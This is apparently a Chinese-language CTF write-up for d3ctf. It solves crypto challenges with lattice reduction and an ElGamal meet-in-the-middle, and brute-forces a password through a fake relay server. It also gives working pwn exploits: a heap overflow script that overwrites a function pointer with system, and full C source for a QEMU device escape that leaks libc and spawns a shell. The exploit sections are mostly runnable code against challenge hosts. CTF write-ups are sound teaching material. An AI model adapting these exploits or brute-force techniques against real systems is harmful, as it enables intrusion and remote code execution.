from hashlib import sha256

n = 69804507328197961654128697510310109608046244030437362639637009184945533884294737870524186521509776189989451383438084507903660182212556466321058025788319193059894825570785105388123718921480698851551024108844782091117408753782599961943040695892323702361910107399806150571836786642746371968124465646209366215361
b = 65473938578022920848984901484624361251869406821863616908777213906525858437236185832214198627510663632409869363143982594947164139220013904654196960829350642413348771918422220404777505345053202159200378935309593802916875681436442734667249049535670986673774487031873808527230023029662915806344014429627710399196
c = 64666354938466194052720591810783769030566504653409465121173331362654665231573809234913985758725048071311571549777481776826624728742086174609897160897118750243192791021577348181130302572185911750797457793921069473730039225991755755340927506766395262125949939309337338656431876690470938261261164556850871338570

X = 2**300
M = Matrix(ZZ, [[n, 0, 0], [b, 1, 0], [c, 0, X]])

ML = M.LLL()

r = int(ML[0][0])
m = int(abs(ML[0][1]))
assert (b * m + r) % n == c

print('d3ctf{%s}' % sha256(int(m).to_bytes(50, 'big')).hexdigest())

simplegroup

需要用到第一题中有关n，b的关系式，$b a12 – a11 \equiv 0 \mod p,b a11 – a12 \equiv 0 \mod p, b a21 – a22 \equiv 0 \mod q$，考虑到a11，a12，a21，a22都很小，可以使用格规约，但p，q未知，故考虑将两个式子相乘，得到a11 a21 b^2 -(a11a22 + a21a12) b + a12 a22 = k n
构造格如下：
\begin{bmatrix} n & 0 & 0 \ b & 1 & 0 \ b^2 & 0 & 1\end{bmatrix}
这里由于aij非常小，不需要平衡因子，目标向量$(k, -(a11a22 + a21a12), a12 a22)$，通过格映射，得到向量$(-a11 a21, -(a11a22 + a21a12), a12 * a22)$，之后分解n再通过判断e1/e2次剩余，之后CRT即可，exp如下：

from Crypto.Util.number import *
from tqdm import tqdm


def check(s, t, _phi):
    if _phi % t != 0:
        return False
    return pow(s, _phi//t, n) == 1


n = 69804507328197961654128697510310109608046244030437362639637009184945533884294737870524186521509776189989451383438084507903660182212556466321058025788319193059894825570785105388123718921480698851551024108844782091117408753782599961943040695892323702361910107399806150571836786642746371968124465646209366215361
b = 65473938578022920848984901484624361251869406821863616908777213906525858437236185832214198627510663632409869363143982594947164139220013904654196960829350642413348771918422220404777505345053202159200378935309593802916875681436442734667249049535670986673774487031873808527230023029662915806344014429627710399196
y = 12064801545723347322936991186738560311049061235541031580807549422258814170771738262264930441670708308259694588963224372530498305648578520552038029773849342206125074212912788823834152785756697757209804475031974445963691941515756901268376267360542656449669715367587909233618109269372332127072063171947435639328
e = 1928983487
C = [63173987757788284988620600191109581820396865828379773315280703314093571300861961873159324234626635582246705378908610341772657840682572386153960342976445563045427986000105931341168525422286612417662391801508953619857648844420751306271090777865836201978470895906780036112804110135446130976275516908136806153488, 9763526786754236516067080717710975805995955013877681492195771779269768465872108434027813610978940562101906769209984501196515248675767910499405415921162131390513502065270491854965819776080041506584540996447044249409209699608342257964093713589580983775580171905489797513718769578177025063630080394722500351718, 37602000735227732258462226884765737048138920479521815995321941033382094711120810035265327876995207117707635304728511052367297062940325564085193593024741832905771507189762521426736369667607865137900432117426385504101413622851293642219573920971637080154905579082646915297543490131171875075081464735374022745371, 1072671768043618032698040622345664216689606325179075270470875647188092538287671951027561894188700732117175202207361845034630743422559130952899064461493359903596018309221581071025635286144053941851624510600383725195476917014535032481197737938329722082022363122585603600777143850326268988298415885565240343957, 27796821408982345007197248748277202310092789604135169328103109167649193262824176309353412519763498156841477483757818317945381469765077400076181689745139555466187324921460327576193198145058918081061285618767976454153221256648341316332169223400180283361166887912012807743326710962143011946929516083281306203120, 27578857139265869760149251280906035333246393024444009493717159606257881466594628022512140403127178174789296810502616834123420723261733024810610501421455454191654733275226507268803879479462533730695515454997186867769363797096196096976825300792616487723840475500246639213793315097434400920355043141319680299224, 29771574667682104634602808909981269404867338382394257360936831559517858873826664867201410081659799334286847985842898792091629138292008512383903137248343194156307703071975381090326280520578349920827357328925184297610245746674712939135025013001878893129144027068837197196517160934998930493581708256039240833145, 33576194603243117173665354646070700520263517823066685882273435337247665798346350495639466826097821472152582124503891668755684596123245873216775681469053052037610568862670212856073776960384038120245095140019195900547005026888186973915360493993404372991791346105083429461661784366706770467146420310246467262823, 5843375768465467361166168452576092245582688894123491517095586796557653258335684018047406320846455642101431751502161722135934408574660609773328141061123577914919960794180555848119813522996120885320995386856042271846703291295871836092712205058173403525430851695443361660808933971009396237274706384697230238104, 61258574367240969784057122450219123953816453759807167817741267194076389100252707986788076240792732730306129067314036402554937862139293741371969020708475839483175856346263848768229357814022084723576192520349994310793246498385086373753553311071932502861084141758640546428958475211765697766922596613007928849964, 13558124437758868592198924133563305430225927636261069774349770018130041045454468021737709434182703704611453555980636131119350668691330635012675418568518296882257236341035371057355328669188453984172750580977924222375208440790994249194313841200024395796760938258751149376135149958855550611392962977597279393428]

e1 = 36493
e2 = e//e1

X = 1
M = Matrix(ZZ, [[n, 0, 0], [b, X, 0], [b ^ 2, 0, X]])
ML = M.LLL()

# a = a11 * a21, b = a11*a22 + a21*a12, c = a12 * a22
'''
a = 211380743487233628797755584958526337321408979158793229985661
b = 1382843159437215516163973075066558157591473749635266665605630
c = 1173142580751247504024100371706709782500216511824162516724129

a11, a21, a12, a22 = var('a11, a21, a12, a22')
solve([a == a11 * a21, b == a11*a22 + a21*a12, c == a12 * a22], a11, a21, a12, a22)
'''


a11 = 1018979931854255696816714991181
a12 = 1017199123798810531137951821909

p = gcd(b * a11 - a12, n)
q = n//p
assert n == p * q

M = []
phi = (p-1)*(q-1)
for i in tqdm(range(len(C))):
    for m in range(1, e1+1):
        tmp = (C[i] * inverse(int(pow(y, m, n)), n)) % n
        if check(tmp, e1, phi):
            m1 = m
            break
    for m in range(1, e2+1):
        tmp = (C[i] * inverse(int(pow(y, m, n)), n)) % n
        if check(tmp, e2, phi):
            m2 = m
            break
    tmp_m = CRT([m1, m2], [e1, e2])
    M.append(tmp_m)

print('M:', M)
flag = 0
for i in range(len(M)):
    flag += M[i] * (e**i)

print(long_to_bytes(flag))

AliceWantFlag

首先与Alice交互，让她连接自己的vps，然后模拟server与她交互，给她提供r和endkey。
我们更改r的高位对其密码进行逐字节爆破。当r的第一个字节与之密码一致时，其异或后只剩10位，补上5位endkey只有15位，aes加密时assert处会报错。由此确定一个字节。爆破第二个字节的时候，由于第一个字节使得其密码只剩10位，我们多补一位endkey来满足长度。由此leak其密码。由于密码最后一位无法由此方式爆破出来，我们可以直接去与server交互来爆破最后一位。
然后与server交互，利用elgamal的mitm attack获取endkey。最后得到flag

与Alice交互脚本

from pubkey import Alice_pubkey
from elgamal import elgamal
from os import urandom
from Crypto.Util.number import long_to_bytes , bytes_to_long
from Crypto.Cipher import AES
from pwn import *
from time import *
import random
#context.log_level = 'debug'

pubkey = {}
pubkey[b'Alice'] = elgamal(Alice_pubkey)

def enc_send(msg , usrid):
    pubenc = pubkey[usrid]
    y1 , y2 = pubenc.encrypt(bytes_to_long(msg))
    return str(y1) + ', ' + str(y2)

endkey = b'*'*5




#truer = "547dd1ccc3"
truer = ""
num = len(truer)
padr = '*'*(11-num)
for i in range(11-num):
    padr = padr[1:]
    for j in range(256): #实际上根据结果来看，0123456789abcde即可
        #####
        menu=[b'1. signup  2.signin',b'please give me your name',b'please give me your passwd(encrypted and xored by r)',b'signin success',b'now let\'s communicate with this key']
        sh = remote("47.100.0.15",10003)
        sh.recvuntil(b"ctf_flag")
        sh.sendline("49.235.117.239:12345")
        shalice = listen(12345)
        shalice.sendline(menu[0])
        shalice.recv()
        shalice.sendline(menu[1])
        shalice.recv()
        shalice.sendline(menu[2])
        #####
        tmpr = truer + chr(j) + padr
        shalice.sendline(str(bytes_to_long(tmpr.encode('latin1'))))
        shalice.recv()
        shalice.sendline(menu[3])
        shalice.sendline(menu[4])
        try:
            shalice.sendline(enc_send(endkey+b'*'*num , b"Alice"))
            #print(endkey+b'*'*num)
            #print(tmpr)
            ans = shalice.recv()
            if ans != '':
                sh.close()
                shalice.close()
                pass
        except:
            truer += chr(j)
            print("yes",truer)
            num+=1
            break

    else:
        print("no")

与server交互脚本

from pubkey import Alice_pubkey
from pubkey import server_pubkey
from elgamal import elgamal
from os import urandom
from tqdm import tqdm
from Crypto.Util.number import *
from Crypto.Cipher import AES
from pwn import *
from time import *
import random

def pad(m):
    m += bytes([16 - len(m) % 16] * (16 - len(m) % 16))
    return m

def unpad(m):
    return m[:-m[-1]]

context.log_level = 'debug'

def enc_send_s(msg):
    pubenc = elgamal(server_pubkey)
    y1 , y2 = pubenc.encrypt(bytes_to_long(msg))
    return str(y1) + ', ' + str(y2)

pubkey = {}
pubkey[b'Alice'] = elgamal(Alice_pubkey)

def enc_send(msg , usrid):
    pubenc = pubkey[usrid]
    y1 , y2 = pubenc.encrypt(bytes_to_long(msg))
    return str(y1) + ', ' + str(y2)


'''
for i in "1234567890abcdef":
    sh = remote("47.100.0.15",10001)
    sh.recvuntil("\n")
    sh.sendline('2')
    sh.recvuntil("\n")
    sh.sendline('Alice')
    sh.recvuntil("\n")
    r = int(sh.recvuntil("\n")[:-1])
    AlicePasswd = ("547dd1ccc3"+i).encode('latin1')
    #547dd1ccc38
    userdata = long_to_bytes(bytes_to_long(AlicePasswd) ^ r)
    sh.sendline(enc_send(userdata))
    ans = sh.recvuntil("\n")
    if b'error' not in ans:
        print("yes",AlicePasswd)
        break
    sh.close()
else:
    print("no")
'''
def mitm(u):
    print(type(u))
    print(u)
    ans1={}
    (p,q,g,y) = Alice_pubkey
    #for i in tqdm(range(1,2**22)):
        #ans1[str(pow(i,q,p))] = i
    #with open("set.set",'wb') as f:
        #pickle.dump(ans1,f)
    with open("set.set","rb") as f:
        ans1 = pickle.load(f)

    for i in tqdm(range(1,2**18)):
        try:
            tmp = str(pow(u*inverse(i,p),q,p))
            true = (ans1[tmp]*i)%p
            print(true)
            return true
        except Exception as aa:
            #print(aa)
            pass

    else:
        print("no")

with open("set.set","rb") as f:
    ans1 = pickle.load(f)

#while True:
for i in range(20):
    sh = remote("47.100.0.15",10001)
    sh.recvuntil("\n")
    sh.sendline('2')
    sh.recvuntil("\n")
    sh.sendline('Alice')
    sh.recvuntil("\n")
    r = int(sh.recvuntil("\n")[:-1])
    AlicePasswd = b"547dd1ccc38"
    userdata = long_to_bytes(bytes_to_long(AlicePasswd) ^ r)
    sh.sendline(enc_send_s(userdata))
    ans = sh.recvuntil("\n")
    sh.recvuntil('with this key\n')
    endkey_enc = sh.recvuntil("\n")[:-1].decode().replace(" ","").split(",")

    try:
        endkey = mitm(int(endkey_enc[1]))
        key = userdata + long_to_bytes(endkey)
        msg = b'I am Alice, Please give me true flag'
        aes = AES.new(key, AES.MODE_ECB)
        sh.sendline(aes.encrypt(pad(msg)))
        flag = sh.recvuntil("\n")[:-1]
        print(unpad(aes.decrypt(flag)))
    except Exception as e:
        print(e)
        pass

Pwn

trust

溢出改meme函数指针。

<a>
 <b>cccccccc</b>
 <d>bbbbbbbb</d>
 <c>dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
 ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
 </c>
</a>

#!/usr/bin/python
from pwn import *
#context.log_level='debug'

def edit(name,content):
    sh.sendlineafter('Choice: ','2')
    sh.sendline(name+' '+content)

def show_old(name):
    sh.sendlineafter('Choice: ','4')
    sh.sendline(name)

sh=process('./Truth')
sh=remote('106.14.216.214',45445)
#pause()
xmlfile=open("./filelist.xml","r")
content=xmlfile.read()
xmlfile.close()
sh.sendlineafter('Choice: ','1')
sh.send(content+"\xff")
show_old('b')
sh.recvuntil('Useless')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x3c4b78
print(hex(libc_base))
free_hook=libc_base+0x1EEB28
one_gadget=libc_base+0xe6c7e
system=libc_base+0x453a0
system=libc_base+0xf1207
edit('d','z'*0x70)
edit('d','x'*0x180)
show_old('d')
sh.recvuntil('z'*0x70)
heap=u64(sh.recvline()[:-1].ljust(8,'\x00'))-0x11e30
print(hex(heap))
edit('b','y'*0x58+p64(0x31)+p64(0x405608)+p64(0x100000001)+p64(heap+0x12b10)+p64(heap+0x12b40)+p64(heap+0x12b50)+p64(0x21)+p64(heap+0x11c30)+p64(heap+0x11c10)+p64(system)+p64(0xa1)+p64(0x4054e0)+p64(0x100000001)+p64(heap+0x11e40))
edit('b','x'*0x18)
edit('\x00'*0x80,'b')

show_old('d')
#gdb.attach(sh)
sh.interactive()

d3dev

qemu逃逸题，可以任意读写a1数组中的值，只是读写时分别会进行tea解密和加密，密钥可以通过pmio_read拿到。调试发现a1[1212]处存储了rand_r的地址，所以泄露出来加密还原得到libc地址，不过需要读2次，第一次读出低4字节，第2次读出高4字节。写入时也是同样的，先写入低4字节，再写入高4字节。将system地址写入到a1[1212]后，通过pmio_write可以调用，此时写入值为0x6873（sh）就可以拿到shell。

exp:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>   
#include <stdint.h>

unsigned char* mmio_base;
void mmio_write(int offset,int value)
{
    *(unsigned int*)(mmio_base+offset)=value;
}

unsigned int mmio_read(int offset)
{
    return *(unsigned int*)(mmio_base+offset);
}

void EncryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned int* key)
{
    unsigned int y = *firstChunk;
    unsigned int z = *secondChunk;
    unsigned int sum = 0;

    unsigned int delta = 0x9e3779b9;

    do
    {
        sum += delta;
        y += ((z << 4) + key[0]) ^ (z + sum) ^ ((z >> 5) + key[1]);
        z += ((y << 4) + key[2]) ^ (y + sum) ^ ((y >> 5) + key[3]);
    }while(sum!=0xC6EF3720);

    *firstChunk = y;
    *secondChunk = z;
}

//buffer：输入的待加密数据buffer，在函数中直接对元数据buffer进行加密；size：buffer长度；key是密钥；
void EncryptBuffer(char* buffer, int size, unsigned int* key)
{
    char *p = buffer;

    int leftSize = size;

    while (p < buffer + size &&
        leftSize >= sizeof(unsigned int) * 2)
    {
        EncryptTEA((unsigned int *)p, (unsigned int *)(p + sizeof(unsigned int)), key);
        p += sizeof(unsigned int) * 2;

        leftSize -= sizeof(unsigned int) * 2;
    }
}

void DecryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned int* key)
{
    unsigned int  sum = 0xC6EF3720;
    unsigned int  y = *firstChunk;
    unsigned int  z = *secondChunk;
    unsigned int  delta = 0x9e3779b9;

    do
    {
        z -= (y << 4) + key[2] ^ y + sum ^ (y >> 5) + key[3];
        y -= (z << 4) + key[0] ^ z + sum ^ (z >> 5) + key[1];
        sum -= delta;
    }while(sum!=0);

    *firstChunk = y;
    *secondChunk = z;
}

//buffer：输入的待解密数据buffer，在函数中直接对元数据buffer进行解密；size：buffer长度；key是密钥；
void DecryptBuffer(char* buffer, int size, unsigned int* key)
{
    char *p = buffer;

    int leftSize = size;

    while (p < buffer + size &&
        leftSize >= sizeof(unsigned int) * 2)
    {
        DecryptTEA((unsigned int *)p, (unsigned int *)(p + sizeof(unsigned int)), key);
        p += sizeof(unsigned int) * 2;

        leftSize -= sizeof(unsigned int) * 2;
    }
}

void decrypt(unsigned long *v, unsigned long *k) {
     unsigned long y=v[0], z=v[1], sum=0xC6EF3720, i; /* set up */
     unsigned long delta=0x61C88647;                  /* a key schedule constant */
     unsigned long a=k[0], b=k[1], c=k[2], d=k[3];    /* cache key */
     do {                            /* basic cycle start */
         z -= ((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
         y -= ((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
         sum += delta;                                /* end cycle */
     }while(sum);
     v[0]=y;
     v[1]=z;
}

int main()
{
    int pmio_base=0xc040,i;
    unsigned long long temp,system_addr,box;
    unsigned int addr[2];
    unsigned int keys[4];
    unsigned char buf[4];
    int fd=open("/sys/devices/pci0000:00/0000:00:03.0/resource0",O_RDWR | O_SYNC);
    printf("%d\n",fd);
    mmio_base=mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
    int key1211,key1210,key1209,key1208;
    iopl(3);
    key1211=inl(pmio_base+24);
    printf("%x\n",key1211);
    key1210=inl(pmio_base+20);
    key1209=inl(pmio_base+16);
    key1208=inl(pmio_base+12);
    keys[0]=key1208;
    keys[1]=key1209;
    keys[2]=key1210;
    keys[3]=key1211;
    outl(0x100,pmio_base+8);
    addr[0]=mmio_read(24);
    addr[1]=mmio_read(24);
    EncryptBuffer(addr,8,keys);
    temp=addr[1];
    temp=(temp<<32)+addr[0];
    printf("%llx\n",temp);
    system_addr=temp-0x4aeb0+0x55410;
    printf("%llx\n",system_addr);
    addr[0]=system_addr&0xffffffff;
    addr[1]=(system_addr>>32)&0xffffffff;
    DecryptBuffer(addr,8,keys);
    temp=addr[1];
    temp=(temp<<32)+addr[0];
    printf("%llx\n",temp);
    mmio_write(24,addr[0]);
    mmio_write(24,addr[1]);

    outl(0,pmio_base+8);
    //mmio_write(4*8,11);
    box=0x6d6f682f74632f65;
    addr[1]=box&0xffffffff;
    addr[0]=(box>>32)&0xffffffff;
    DecryptBuffer(addr,8,keys);
    mmio_write(0,addr[0]);    //"/home/ct"
    mmio_write(0,addr[1]);
    //mmio_write(5*8,22);

    box=0x6c662f6600006761;// f/flag
    addr[1]=box&0xffffffff;
    addr[0]=(box>>32)&0xffffffff;
    DecryptBuffer(addr,8,keys);
    mmio_write(8,addr[0]);
    mmio_write(8,addr[1]);
    //mmio_write(6*8,33);

    //outl(0xff,pmio_base+8);
    //decrypt((unsigned long*)&system_addr,keys);
    //mmio_write(4*8,system_addr); //decrypt(system_addr)
    outl(0x6873,pmio_base+0x1c);//"sh"

    //outl(0x6873,pmio_base+28);
    return 0;
}

d3dev-revenge

做法与上题相同。

Bonus

问卷

Goodgame

预热任务1 ，2